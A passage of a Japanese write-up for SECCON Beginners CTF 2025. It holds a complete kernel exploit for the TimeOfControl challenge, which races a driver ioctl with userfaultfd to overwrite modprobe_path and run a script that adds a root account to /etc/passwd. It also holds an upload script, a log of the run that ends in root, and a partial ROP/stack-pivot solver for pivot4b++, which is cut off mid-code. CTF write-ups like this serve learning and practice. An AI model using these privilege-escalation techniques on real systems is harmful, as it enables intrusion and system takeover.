- 起動コマンド側の確認:
run.shファイルでのqemu-system-x86_64コマンドの-cpuオプション内容が、qemu64のみであり、+smepがありません。 - 実行中マシンでの確認:
cat /proc/cpuinfo | grep smep実行結果が空行です。
- 起動コマンド側の確認:
- SMAP: 無効
- 起動コマンド側の確認:
run.shファイルでのqemu-system-x86_64コマンドの-cpuオプション内容が、qemu64のみであり、+smapがありません。 - 実行中マシンでの確認:
cat /proc/cpuinfo | grep smap実行結果が空行です。
- 起動コマンド側の確認:
- KASLR / FGKASLR: 無効
- 起動コマンド側の確認:
run.shファイルでのqemu-system-x86_64コマンドの-appendオプション内容に、nokaslrが含まれています。
- 起動コマンド側の確認:
- KPTI: 無効
- 起動コマンド側の確認:
run.shファイルでのqemu-system-x86_64コマンドの-appendオプション内容に、pti=offが含まれています。そのため無効のはずです。 - 実行中マシンでの確認:
cat /sys/devices/system/cpu/vulnerabilities/meltdown実行結果がNot affectedです。おそらく無効なのでしょう。もしかしたらrun.shで-smp 1とCPU数を1に指定していることが関係あるかもしれません。
- 起動コマンド側の確認:
- KADR: 実質的に無効
etc/init.d/S99ctfファイル中でecho 1 > /proc/sys/kernel/kptr_restrict指定しています。そのためリモート環境では一応有効です。- 一方で、ローカルの動作検証用環境でroot実行すれば各種アドレスが分かり、かつKASLRが無効であることからリモート環境等でも同一アドレスになります。そのため実質的に無効のようなものでしょう。
- なお、
echo 0 > /proc/sys/kernel/kptr_restrictすれば一般ユーザーからも各種アドレスが分かると思ったのですが、head /proc/kallsymsしても各種アドレスは0000000000000000と取得できませんでした。cat /proc/sys/kernel/kptr_restrictは適切に0です。一方でroot実行では各種アドレスを取得できました。理由はわかっていません。
- なお、
というわけで、本問題のカーネルは保護機構がほぼ設定されていないと分かりました。
init内容とuserfaultfd
ファイルシステム中のetc/init.d/S99ctfファイルを1行1行見ていくと、次の内容が目に止まりました:
echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/vm/unprivileged_userfaultfd
kptr_restrictとdmesg_restrictは1に設定されると、カーネル中の各種アドレスやカーネル中のメッセージを一般ユーザーでは確認できないように制限が厳しくなります。一方でunprivileged_userfaultfdの方はデフォルトでは0で、1に設定されると任意プロセスでuserfaultfdを利用できるようになります(Userfaultfd — The Linux Kernel documentation)。つまり、制限が緩められています。
unprivileged_userfaultfdでGoogle検索するとuserfaultfdの利用 | PAWNYABLE!が見つかりました。Race Conditionを引き起こす際にuserfaultfdを利用すると、カーネル空間での処理を停止できるため攻撃を安定して成功させられるとのことです。処理の停止というわけで問題名回収です!
なお、配布ファイルのtemplate/exploit.cに#include <linux/userfaultfd.h>が含まれていました。これもヒントの一種なのでしょう。
Linuxカーネルドライバ中の脆弱性の理解
配布ファイルのsrc/ctf4b.h、src/ctf4b.cの内容です:
#define CTF4b_IOCTL_SEEK 0x4b001 #define CTF4b_IOCTL_READ 0x4b010 #define CTF4b_IOCTL_WRITE 0x4b100 #define CTF4b_MSG_MAX_SIZE 0x1000 #define CTF4b_DEV_NAME "ctf4b" #define uint8_t unsigned char struct ctf4b_request { char* buf; uint8_t size; };
#include <linux/module.h> #include <linux/cdev.h> #include <linux/fs.h> #include <linux/uaccess.h> #include <linux/errno.h> #include <linux/device.h> #include "ctf4b.h" MODULE_LICENSE("GPL"); MODULE_AUTHOR("KuonRuri"); MODULE_DESCRIPTION("TimeOfControl: SECCON Beginners CTF 2025"); static int ctf4b_open(struct inode *inode, struct file *filp) { return 0; } static int ctf4b_release(struct inode *inode, struct file *filp) { return 0; } char global_msg[CTF4b_MSG_MAX_SIZE] = "Kernel Pwn is fun!"; long msg_offset = 0; bool is_offset_valid(long offset) { if (offset >= 0 && offset + 0x100 < CTF4b_MSG_MAX_SIZE) { return true; } return false; } static long ctf4b_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { struct ctf4b_request req; switch (cmd) { case CTF4b_IOCTL_READ: if (!is_offset_valid(msg_offset)) { return -EINVAL; } if (copy_from_user(&req, (struct ctf4b_request __user *)arg, sizeof(req))) { return -EFAULT; } if (copy_to_user((char __user *)req.buf, &global_msg[msg_offset], req.size)) { return -EFAULT; } msg_offset += req.size; break; case CTF4b_IOCTL_WRITE: if (!is_offset_valid(msg_offset)) { return -EINVAL; } if (copy_from_user(&req, (struct ctf4b_request __user *)arg, sizeof(req))) { return -EFAULT; } if (copy_from_user(&global_msg[msg_offset], (char __user *)req.buf, req.size)) { return -EFAULT; } msg_offset += req.size; break; case CTF4b_IOCTL_SEEK: msg_offset = (long)arg; if (!is_offset_valid(msg_offset)) { return -EINVAL; } break; default: return -EINVAL; } return 0; } static struct file_operations module_fops = { .owner = THIS_MODULE, .unlocked_ioctl = ctf4b_ioctl, .open = ctf4b_open, .release = ctf4b_release, }; static dev_t dev_id; static struct cdev c_dev; static int __init ctf4b_init(void) { if (alloc_chrdev_region(&dev_id, 0, 1, CTF4b_DEV_NAME) < 0) { pr_err("Failed to allocate character device region\n"); return -1; } cdev_init(&c_dev, &module_fops); if (cdev_add(&c_dev, dev_id, 1) < 0) { pr_err("Failed to add character device\n"); unregister_chrdev_region(dev_id, 1); return -1; } return 0; } static void __exit ctf4b_exit(void) { cdev_del(&c_dev); unregister_chrdev_region(dev_id, 1); } module_init(ctf4b_init); module_exit(ctf4b_exit);
実質的な機能は、IOCTL用のctf4b_ioctl関数にだけ存在していることが分かります。また、グローバル変数のchar global_msg[CTF4b_MSG_MAX_SIZE]とlong msg_offsetで状態を管理していることも分かります。IOCTL用のコマンドは3種類あります:
CTF4b_IOCTL_READ:is_offset_valid関数でグローバル変数msg_offsetの内容を検証します。その後ユーザーから要求されたリクエストを元に、&global_msg[msg_offset]から指定サイズ分を、ユーザー空間のバッファへコピーします。CTF4b_IOCTL_WRITE:is_offset_valid関数でグローバル変数msg_offsetの内容を検証します。その後ユーザーから要求されたリクエストを元に、ユーザー空間のバッファから指定サイズ分を、&global_msg[msg_offset]へコピーします。CTF4b_IOCTL_SEEK: グローバル変数msg_offsetの内容を、ユーザーから要求されたリクエストの値に設定します。- 設定後に
is_offset_valid関数で設定後の値を検証しますが、設定後であるため検証結果に失敗してエラーが返っても目的は達成できます。
- 設定後に
脆弱性として、ctf4b_ioctl関数ではMutex等を使っておらず、排他処理が行われていません。そのため複数スレッドから同時にIOCTLすると、グローバル変数の競合状態を発生させられます。userfaultfdを使ってctf4b_ioctlがユーザーメモリ空間を読み書きする際に一時停止できると、次の手順でAAWができます:
CTF4b_IOCTL_WRITEを実行し、is_offset_valid関数の検証成功後の、copy_from_user(&req, (struct ctf4b_request __user *)arg, sizeof(req))のタイミングでページフォルトを発生させて処理を止めます。- ページフォルトのuserfaultfdでのコールバック中で
CTF4b_IOCTL_SEEKを実行し、グローバル変数msg_offsetの内容を任意値に書き換えます。 - コールバック中でページフォルトを解決することで
CTF4b_IOCTL_WRITE側の処理を再開させます。 copy_from_user(&global_msg[msg_offset], (char __user *)req.buf, req.size)箇所で、書き換え後のmsg_offsetを使って書き込みを行わせます。つまりAAWです。
modprobe_pathグローバル変数のアドレス特定とCONFIG_STATIC_USERMODEHELPERコンフィグの確認
今回の問題ではKASLRは無効なので、各種関数やグローバル変数は固定アドレスに存在します。AAWで書き換えられると嬉しい筆頭はmodprobe_pathグローバル変数で、変更できると任意処理をroot権限で実行できます。詳細は以前の記事をご参照ください。なお当該記事でも記述しているようにLinux Kernelバージョン6.14以降では、modprobe_path書き換え後の発動方法が一部塞がれています。しかし今回はバージョン6.12.27であるため、従来手法でも成功すると思います。
確認が必要な点として、Linux KernelのコンフィグでCONFIG_STATIC_USERMODEHELPER=yの場合は、modprobe_path内容を変更してもmodprobe_path内容が使われない点があります。これはcall_modprobe関数中で、modprobe_pathを第1引数にcall_usermodehelper_setup関数を呼び出していますが、call_usermodehelper_setup関数で第1引数pathを使用するのはCONFIG_STATIC_USERMODEHELPERがfalseの場合だけであるためです。そのためコンフィグの値も確認する必要があります。
今回の問題では、カーネルイメージはbzImageファイルのみがあります。配布ファイルのREADME.mdを読みながら、ELFファイルのvmlinuxへ変換しました:
$ wget https://raw.githubusercontent.com/torvalds/linux/refs/heads/master/scripts/extract-vmlinux $ sh ./extract-vmlinux bzImage > vmlinux $ file vmlinux vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=3e49e6e7c225628716172aea6e2410c816b294b7, stripped $
strippedというわけでシンボル情報はありません。一方でmodprobe_pathグローバル変数の初期値はCONFIG_MODPROBE_PATHコンフィグ内容で、当該コンフィグのデフォルト値は/sbin/modprobeです。vmlinuxファイルをIDAで開いて解析が終わるまでしばらく待ち、stringsタブで/sbin/modprobe文字列を検索すると、0xFFFFFFFF820ADE80に1箇所だけ見つかりました。そこがmodprobe_pathグローバル変数のアドレスです。
CONFIG_STATIC_USERMODEHELPERコンフィグの値を直接確認する方法がわからなかったので、call_usermodehelper_setup関数の逆コンパイル結果を確認しました。call_usermodehelper_setup関数のアドレスは、動作検証用環境でrootとしてシェルを起動するようにした状態でcat /proc/kallsyms | grep call_usermodehelper_setupすれば0XFFFFFFFF810881F0と分かります。それとは別にIDAだけでも、modprobe_pathグローバル変数の使用場所を相互参照で調べても十分わかります。usermodehelper_setup関数の逆コンパイル結果を調べると、第1引数pathを使用していることが分かりました!
void __fastcall call_usermodehelper_setup( __int64 path, __int64 a2, __int64 a3, int a4, __int64 a5, __int64 a6, __int64 a7) { __int64 v7; // rax _QWORD *v11; // rax v7 = (a4 & 1u) + 1; if ( (a4 & 0x11) == 0 ) v7 = 0; v11 = (_QWORD *)sub_FFFFFFFF8119CA40(qword_FFFFFFFF81E61128[14 * v7], a4 | 0x100u, 96); if ( v11 ) { v11[3] = sub_FFFFFFFF810887F0; v11[1] = v11 + 1; v11[2] = v11 + 1; *v11 = 0xFFFFFFFE00000LL; v11[5] = path; v11[6] = a2; v11[7] = a3; v11[10] = a6; v11[9] = a5; v11[11] = a7; } JUMPOUT(0xFFFFFFFF81809A60LL); }
これでめでたく、CONFIG_STATIC_USERMODEHELPERコンフィグはnのようであり、AAWでmodprobe_pathグローバル変数を書き換えてroot権限で任意処理を実行できることが分かりました。
global_msgグローバル変数のアドレス特定
今回のAAWはcopy_from_user(&global_msg[msg_offset], (char __user *)req.buf, req.size)で行うため、global_msgグローバル変数のアドレスも特定する必要があります。苦労しました。最終的にgdbを使ったカーネルデバッグでctf4b_ioctl関数にブレークポイントを仕掛けて頑張って調べると、0xFFFFFFFFC0002160が正しいと分かりました。本節の残りは試行錯誤の形跡です。読み飛ばして問題ありません。
global_msgグローバル変数のアドレスの場所が、ツールによって言うことが違いました。
IDAでctf4b.koを解析すると、0x540にあるようでした:
.data:0000000000000540 public global_msg .data:0000000000000540 global_msg db 'Kernel Pwn is fun!',0
nmコマンドで調べると、0x160にあるようでした:
$ nm ctf4b.ko | grep global_msg 0000000000000160 D global_msg $
readelfコマンドで調べると、0x120にあるようでした:
$ readelf --wide --symbols ctf4b.ko | grep global_msg 63: 0000000000000120 256 OBJECT GLOBAL DEFAULT 21 global_msg $
モジュールの読み込みアドレスをrun.shでQEMU実行して調べると、ctf4bモジュールは0xffffffffc0000000に読み込まれるようでした:
~ # cat /proc/modules ctf4b 16384 0 - Live 0xffffffffc0000000 (O) ~ #
これらを合わせると、nmコマンドのオフセットが正しそうに思います。ただそれでも0x2000のoffsetがどこから来たのかが分かっていません。
checksecコマンドで調べるとPIE: No PIE (0x0)とイメージベースがまさかの0表示になるあたりからも、カーネルドライバー中シンボルのアドレス計算には何か厄介な要素が含まれているように思います。
エクスプロイト開発中のビルド用スクリプト
kernel exploit用のコードを書いている間、「ビルドしてELF生成→ブート時に使用するファイルシステムへコピー→ファイルシステムをcpio形式に変換→QEMU起動」を何度も行います。手動でやるのは大変なので、自動化するスクリプトを書きました。
次のようなディレクトリ構成です:
bzImage compile_and_run.sh convert_ext_to_rootfs.sh rootfs.cpio run.sh exploit/build.sh exploit/exploit.cpp
大本のcompile_and_run.shです:
#!/bin/bash set -euxo pipefail # ビルド exploit/build.sh # ビルド結果をファイルシステムへコピーします。 # 何故か ./ext/tmp 以下へのコピーだとQEMU起動時は含まれませんでした。ファイルシステムルートならQEMU起動後も存在しました。 # cp exploit/exploit ./ext/ # →「./exploit」と入力するのも手間に思ったので、PATHが通る場所へ短い名前でコピーします。 cp exploit/exploit ./ext/bin/m chmod +x ./ext/exploit ./convert_ext_to_rootfs.sh exec qemu-system-x86_64 \ -m 64M \ -kernel bzImage \ -initrd rootfs.cpio \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nokaslr pti=off" \ -no-reboot -nographic \ -cpu qemu64 \ -smp 1 \ -monitor /dev/null \ -net nic,model=virtio -net user \ -gdb tcp::12345
ビルド用のexploit/build.shです:
#!/usr/bin/bash set -euxo pipefail cd "$(dirname "$0")" gcc -g -Os -Wall -Wextra -D_FORTIFY_SOURCE=0 -S -o exploit.S exploit.cpp musl-gcc -g -Os -static -o exploit exploit.S strip exploit
ファイルシステム内容をcpio形式に変換するconvert_ext_to_rootfs.shです(README.md内容ほぼそのままです):
#!/usr/bin/bash set -euxo pipefail cd "$(dirname "$0")" cd ext sudo find . -print0 | sudo cpio -o --format=newc --null > ../rootfs.cpio
これらを準備しておけば、exploit.cppを編集するたびにcompile_and_run.shを実行するだけで動作検証できました。
最終的なエクスプロイト
userfaultfdの利用 | PAWNYABLE!のサイトのuserfaultfd関連の場所をほぼまるっとお借りしました。ページフォルトを起こすためのCTF4b_IOCTL_WRITE用IOCTL発行と、ページフォルト発生後のCTF4b_IOCTL_SEEK用IOCTL発行箇所を追加したくらいです。
#include <sys/ioctl.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <pthread.h> #include <linux/userfaultfd.h> #include <poll.h> #include <sys/mman.h> #include <sys/syscall.h> #include <string.h> #include <assert.h> #include <sys/socket.h> #define CTF4b_IOCTL_SEEK 0x4B001 #define CTF4b_IOCTL_READ 0x4B010 #define CTF4b_IOCTL_WRITE 0x4B100 #define CTF4b_MSG_MAX_SIZE 0x100 #define CTF4b_DEV_NAME "ctf4b" #define uint8_t unsigned char constexpr long ADDR_MODPROBE_PATH = 0xFFFFFFFF820ADE80; constexpr long ADDR_MSG_OFFSET = 0XFFFFFFFFC00035C0; constexpr long ADDR_GLOBAL_MSG = 0XFFFFFFFFC0002160; // system関数用に文字列結合したいので文字列リテラルを#define #define MODIFIED_MODPROBE_PATH "/tmp/evil.sh" struct ctf4b_request { char* buf; uint8_t size; }; int g_fd; cpu_set_t g_pwn_cpu; void fatal(const char *msg) { perror(msg); _exit(1); } static void* fault_handler_thread(void *arg) { char *dummy_page; static struct uffd_msg msg; struct uffdio_copy copy; struct pollfd pollfd; long uffd; uffd = (long)arg; dummy_page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (dummy_page == MAP_FAILED) fatal("mmap(dummy)"); puts("[+] fault_handler_thread: waiting for page fault..."); pollfd.fd = uffd; pollfd.events = POLLIN; while (poll(&pollfd, 1, -1) > 0) { if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) fatal("poll"); /* ページフォルト待機 */ if (read(uffd, &msg, sizeof(msg)) <= 0) fatal("read(uffd)"); assert (msg.event == UFFD_EVENT_PAGEFAULT); printf("[+] uffd: flag=0x%llx\n", msg.arg.pagefault.flags); printf("[+] uffd: addr=0x%llx\n", msg.arg.pagefault.address); // ページフォルトした現状でCTF4b_IOCTL_WRITEの処理中で止まっているので、後はやりたい放題できるはず // WRITE用のoffset_validate後の現状で、offsetを変更 ioctl(g_fd, CTF4b_IOCTL_SEEK, ADDR_MODPROBE_PATH - ADDR_GLOBAL_MSG); // 後はwrite用のreq構造体を準備して返せば、AAW出来るはず auto p_req = (ctf4b_request*)(dummy_page); static char str_to_modify_modprobe_path[] = MODIFIED_MODPROBE_PATH; p_req->buf = str_to_modify_modprobe_path; p_req->size = strlen(str_to_modify_modprobe_path) + 1; // +1 to include NUL character. copy.src = (unsigned long)dummy_page; copy.dst = (unsigned long)msg.arg.pagefault.address & ~0xfff; copy.len = 0x1000; copy.mode = 0; copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, ©) == -1) fatal("ioctl(UFFDIO_COPY)"); } return NULL; } int register_uffd(void *addr, size_t len) { struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; long uffd; pthread_t th; /* userfaultfdの作成 */ uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) fatal("userfaultfd"); uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) fatal("ioctl(UFFDIO_API)"); /* ページをuserfaultfdに登録 */ uffdio_register.range.start = (unsigned long)addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) fatal("UFFDIO_REGISTER"); /* ページフォルトを処理するスレッドを作成 */ if (pthread_create(&th, NULL, fault_handler_thread, (void*)uffd)) fatal("pthread_create"); return 0; } void echo_and_run(const char* command) { printf("Runnning: %s\n", command); system(command); } int main() { printf("Compiled Date: %s, %s\n", __DATE__, __TIME__); /* メインスレッドとuffdハンドラが必ず同じCPUで動くよう設定する */ CPU_ZERO(&g_pwn_cpu); CPU_SET(0, &g_pwn_cpu); if (sched_setaffinity(0, sizeof(cpu_set_t), &g_pwn_cpu)) fatal("sched_setaffinity"); g_fd = open("/dev/ctf4b", O_RDWR); if (g_fd < 0) { fatal("Failed to open device"); } // userfaultfdの準備 void *page; page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) fatal("mmap"); register_uffd(page, 0x2000); // page faultを発生させる puts("ioctl(WRITE)!"); ioctl(g_fd, CTF4b_IOCTL_WRITE, page); // modprobe_pathが書き換わっているはず。 echo_and_run("cat /proc/sys/kernel/modprobe"); echo_and_run("cat << 'EOF_OUTER' > " MODIFIED_MODPROBE_PATH R"( #!/bin/sh # パスワード部分は `openssl passwd -1 w00t` で生成 cat << 'EOF_INNER' >> /etc/passwd w00t:$1$kQJql9HV$ZCmAvjJPWyqSgkrfWBcsU1:0:0:root:/root:/bin/sh EOF_INNER chmod -R 777 /root EOF_OUTER )"); // 実行可能にするのが重要 system("chmod +x " MODIFIED_MODPROBE_PATH); // あとはrequest_module経由でmodprobe_pathを実行させる [[maybe_unused]]auto fd_alg = socket(AF_ALG, SOCK_SEQPACKET, 0); puts("modprobe_pathへ書き込んだファイルが実行されたはずです。"); return 0; }
なおローカル環境では何かの拍子で/bin/busyboxのSUIDビットが外れてしまったようで、カーネルエクスプロイトが成功して/etc/passwdへ追記できた後にsu w00tコマンドを使っても、su: must be suid to work properlyエラーが起こって困ってました。そのため/tmp/evil.shでは/etc/passwdの追加以外にも、とりあえず/root以下全ファイルにrwx権限設定を行っています。
一方でnc接続先のリモート環境では/bin/busyboxにSUIDがついているため、問題なく/etc/passwd追記からのsu w00tでroot権限になれました。
以前使ったスクリプトを流用して、リモートへエクスプロイトを送信してからInteractiveに操作しました:
#!/usr/bin/env python3 import base64 import sys from pwn import * # context.log_level = "DEBUG" conn: tube = None # type: ignore def run(cmd): conn.sendlineafter(b"$ ", cmd.encode()) # conn.sendlineafter(b"# ", cmd.encode()) conn.recvline() def main(): global conn if len(sys.argv) != 2: log.info(f"Usage: python3 {sys.argv[0]} <PATH_TO_EXPLOIT>") sys.exit(0) # Upload the exploit to /tmp/exploit using base64 encoding with open(sys.argv[1], "rb") as f: payload = base64.b64encode(f.read()).decode() # conn = process("./run.sh") conn = remote("timeofcontrol.challenges.beginners.seccon.jp", 9004) # Proof of work print(conn.recvuntil(b"solution:").decode()) conn.sendline(input().encode()) run("cd /tmp") for i in range(0, len(payload), 512): chunk = payload[i : i + 512] log.info(f"Uploading: {i:x}/{len(payload):x}") run(f'echo "{chunk}" >> b64exp') run("base64 -d b64exp > exploit") run("rm b64exp") run("chmod +x exploit") conn.interactive("") if __name__ == "__main__": main()
なお上記スクリプトではls等で色付き表示がされると表示が崩れます。ただあまり問題ないのでそのまま使っています。
実行しました:
$ ./sender.py exploit/exploit
[+] Opening connection to timeofcontrol.challenges.beginners.seccon.jp on port 9004: Done
proof of work:
curl -sSfL https://pwn.red/pow | sh -s s.AAAu4A==.DPx45zNSZAAZnplEgV8pQw==
solution:
s.EOxYmDLVGzQ6B6J/M1Jlr5Y02mFz1FNNBcL3dbcH7lijHLkCnjQYwThG1yrCyPPrH2J3PHYz/KcsdBJqqF41EXqfWoxMuq8coCyJ0Up/BUum8V3KxFpPLWYXtNbB6st7iXoLCN0uigj+5/IFlg+xKjzCVY/kMnDLYHuXS05/jZlbBpMww2JP1jELisVDuLlRZ8D9I/WH1U/PHQcf8E6Ofg==
[*] Uploading: 0/ddf8
[*] Uploading: 200/ddf8
(中略)
[*] Uploading: dc00/ddf8
[*] Switching to interactive mode
/tmp $ ./exploit
./exploit
Compiled Date: Jul 28 2025, 22:44:29
[+] fault_handler_thread: waiting for page fault...
ioctl(WRITE)!
[+] uffd: flag=0x0
[+] uffd: addr=0x7f66ed030000
Runnning: cat /proc/sys/kernel/modprobe
/tmp/evil.sh
Runnning: cat << 'EOF_OUTER' > /tmp/evil.sh
#!/bin/sh
# パスワード部分は `openssl passwd -1 w00t` で生成
cat << 'EOF_INNER' >> /etc/passwd
w00t:$1$kQJql9HV$ZCmAvjJPWyqSgkrfWBcsU1:0:0:root:/root:/bin/sh
EOF_INNER
chmod -R 777 /root
EOF_OUTER
modprobe_pathへ書き込ん\x83\x95ァイルが実行されたはずです。
/tmp $ su w00t
su w00t
Password: w00t
/tmp # whoami
whoami
root
/tmp # cd /root
cd /root
~ # ls --color=never
ls --color=never
ctf4b.ko
flag-61f1419230eaa880bdf02a5601863b48.txt
~ # cat flag*
cat flag*
ctf4b{71CK_74CK_70C_73CK_7UCK_70U}
~ #
フラグを入手できました: ctf4b{71CK_74CK_70C_73CK_7UCK_70U}
ある程度進められたけど解けなかった問題
コンテンスト中にはすべての問題に取り組んでいました。その中であと一歩と思った問題を特筆します。
[pwnable, medium] pivot4b++ (25 teams solves, 496 points)
pivot4bからGiftがなくなってしまいました... nc pivot4b-2.challenges.beginners.seccon.jp 12300
配布ファイルとして、問題本体のchallと、元ソースのsrc.cがありました:
$ file *
Dockerfile: ASCII text
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c117241b345cf6b136546d052341f970eb1e9334, for GNU/Linux 4.4.0, not stripped
docker-compose.yml: ASCII text
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d5197096f709801829b118af1b7cf6631efa2dcd, for GNU/Linux 3.2.0, stripped
src.c: C source, ASCII text
$ pwn checksec chall
[*] '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2025/pivot4b-2/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
$
src.cは次の内容です:
#include <stdio.h> #include <unistd.h> int vuln() { char message[0x30]; printf("Welcome to the second pivot game!\n"); printf("> "); read(0, message, sizeof(message) + 0x10); printf("Message: %s\n", message); return 0; } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(120); vuln(); }
pivot4b問題ではgiftとして存在したpop rdi; retガジェットも、system関数呼び出し箇所も、messageローカル変数のアドレス出力も、重要なものがすべて削除されています!加えてPIE enabledであるため、address leakから始める必要があります。
依然としてOut-of-Bounds Writeできるのは0x10バイトだけであるため、saved rbpとreturn addressのみを改ざんできます。
pwninitしたバイナリでは解けました
今回の問題では配布ファイルにlibc.so.6が含まれています。このような場合、私はpwninitコマンドを使ってパッチ済みバイナリを作ることから始めています:
$ pwninit bin: ./chall libc: ./libc.so.6 fetching linker https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.35-0ubuntu3.10_amd64.deb unstripping libc https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.35-0ubuntu3.10_amd64.deb copying ./chall to ./chall_patched running patchelf on ./chall_patched $
pwndbgコマンドで作った./chall_patchedバイナリは、実行するLinuxカーネルバージョンの違いを除いて同一の挙動のはずだと今まで思っていました。そのためコンテスト中でも、chall_patchedバイナリをgdbデバッグしつつexploitを開発しました。
最終的に次の流れのエクスプロイトを作りました:
vuln関数の戻りアドレスを2バイト分partial overwriteして、vuln関数へ直接ret2vulnします。同時にMessage:箇所の出力でchallのimage baseをleakします。1-nibble分のASLR頼みがあるため成功確率は1/16です。chall中の読み書きできるメモリ領域の後ろの方へstack pivotしつつret2vulnします。messageローカル変数のアドレスが既知であることと、vuln関数からreturnするときはrdiレジスタにfunlockfile関数のアドレスが保持されていることから、messageローカル変数箇所へstack pivotしつつputs@plt関数を呼び出してglibcのaddress leakをして、その後にret2vulnします。- 改めて、
chall中の読み書きできるメモリ領域後ろの方へstack pivotしつつret2vulnします。 messageローカル変数のアドレスが既知であることから、messageローカル変数箇所へstack pivotしつつsystem("/bin/sh\x00")を呼び出します。
ソルバーです:
#!/usr/bin/env python3 import pwn # pwninitツールで、配布libc.so.6を使うようパッチを当てました elf = pwn.ELF("./chall_patched", checksec=False) libc = pwn.ELF("./libc.so.6", checksec=False) pwn.context.binary = elf # pwn.context.log_level = "DEBUG" def solve_core(io: pwn.tube): SIZE_MAX_PAYLOAD = 64 pwn.info("1回目: partial overwriteでのret2vuln + address leak") # ret後のmain: 0x122B # vuln: 0x117A (先頭ではbuffered_vfprintf中でSIGSEGVになったので、push rbp後にする) # ASLRでも下位12-bitは固定。4bit分はうまくいくことを祈るので1/16確率。 offset_vuln_after_push_rbp = 0x117A if False: # gdbデバッグしつつのエクスプロイト開発時 addr_rxp_start = int(input("vmmap vuln結果のr-xp領域Startをください"), 0) else: addr_rxp_start = 0x59B4BF152000 # とある実行時の値、1/16を祈る payload_1 = b"A" * (48 + 8) + bytes( [ offset_vuln_after_push_rbp & 0xFF, ((addr_rxp_start >> 8) & 0xF0) | ((offset_vuln_after_push_rbp >> 8) & 0x0F), ] ) assert len(payload_1) <= SIZE_MAX_PAYLOAD io.sendafter(b"> ", payload_1) io.recvuntil(b"A" * (48 + 8)) addr_received_1st = pwn.u64(io.recvn(6).ljust(8, b"\x00")) print(f"{addr_received_1st = :#018x}") elf.address = addr_received_1st - offset_vuln_after_push_rbp print(f"{elf.address = :#018x}") # ROPgadget --binary chall_patched 結果から拾いました。 rop_leave = elf.address + 0x00000000000011DA # leave ; ret rop_ret = elf.address + 0x00000000000011DB # ret pwn.info( "2回目: 「rw-p」箇所領域を見ていると、ELFのパスや環境変数のある領域がありました。そのあたりは使われない場所と信じて、pivotします" ) # printfがstackを大量に使うのでスタック領域が多めに必要。RW領域最後の方に設定します。 # pwninitでpatchしたバイナリでは動いた。本家challバイナリではRWページが0x1000サイズだけ! addr_to_pivot = elf.address - 0x00005769A3AC9000 + 0x5769A3ACFF00 # TODO: chall側で調整する……→できなかった # addr_to_pivot = elf.address - 0x58CEECD25000 + (0x58CEECD2A000 - 0x100) print(f"{addr_to_pivot = :#018x}") payload_2 = pwn.flat( [ b"".ljust(48, b"A"), addr_to_pivot, # saved rbp elf.symbols["vuln"] + 4, # 「push rbp; mov rbp, rsp」の後 ] ) assert len(payload_2) <= SIZE_MAX_PAYLOAD io.sendafter(b"> ", payload_2) pwn.info( "3回目: rbpを既知の値にしているため、messageのアドレス[rbp - 0x30]も既知。そこへstack pivotします。" ) payload_3 = pwn.flat( [ pwn.flat( [ # ret直前ではlibc中間数のアドレスがrdiにあるので利用します rop_ret, elf.plt["puts"], rop_ret, elf.symbols["vuln"] + 1, # RSPアライメント調整でpush rbpを飛ばす ] ).ljust(48, b"A"), addr_to_pivot - 0x30 - 0x8, # message箇所。leaveによるpop rbp分さらに-8 rop_leave, ] ) assert len(payload_3) <= SIZE_MAX_PAYLOAD io.sendafter(b"> ", payload_3) io.recvline_contains(b"Message: ") # puts出力からlibc中アドレスを得る addr_funlockfile = pwn.u64(io.recvline(keepends=False).ljust(8, b"\x00")) print(f"{addr_funlockfile = :#018x}") libc.address = addr_funlockfile - libc.symbols["funlockfile"] print(f"{libc.address = :#018x}") rop_pop_rdi = libc.address + 0x000000000002A3E5 # pop rdi ; ret addr_bin_sh = next(libc.search(b"/bin/sh\x00")) addr_system = libc.symbols["system"] pwn.info("4回目: 改めてRBPを既知の値に設定") # 2回目のペイロードを使い回せます io.sendafter(b"> ", payload_2) pwn.info("5回目: message内容もROPガジェットに使ってシェル起動") payload_5 = pwn.flat( [ pwn.flat( [ rop_pop_rdi, addr_bin_sh, addr_system, ] ).ljust(48, b"A"), addr_to_pivot - 0x30 - 0x8, # message箇所。leaveによるpop rbp分さらに-8 rop_leave, ] ) assert len(payload_5) <= SIZE_MAX_PAYLOAD io.sendafter(b"> ", payload_5) io.interactive() def solve_wrapper(io_factory): while True: try: with io_factory() as io: solve_core(io) return except EOFError: pass # 1/16失敗時 # fmt: off GDBSCRIPT = r""" set show-tips off set follow-fork-mode parent handle SIGALRM nostop # # ↓vulnのread # breakrva 0x11B5 # ↓vulnのret breakrva 0x11DB # ASLR内容確認 vmmap vuln continue """ # with pwn.gdb.debug(elf.path, GDBSCRIPT) as io: solve_core(io) solve_wrapper(lambda: pwn.process(elf.path)) # これは1/16で成功する # with 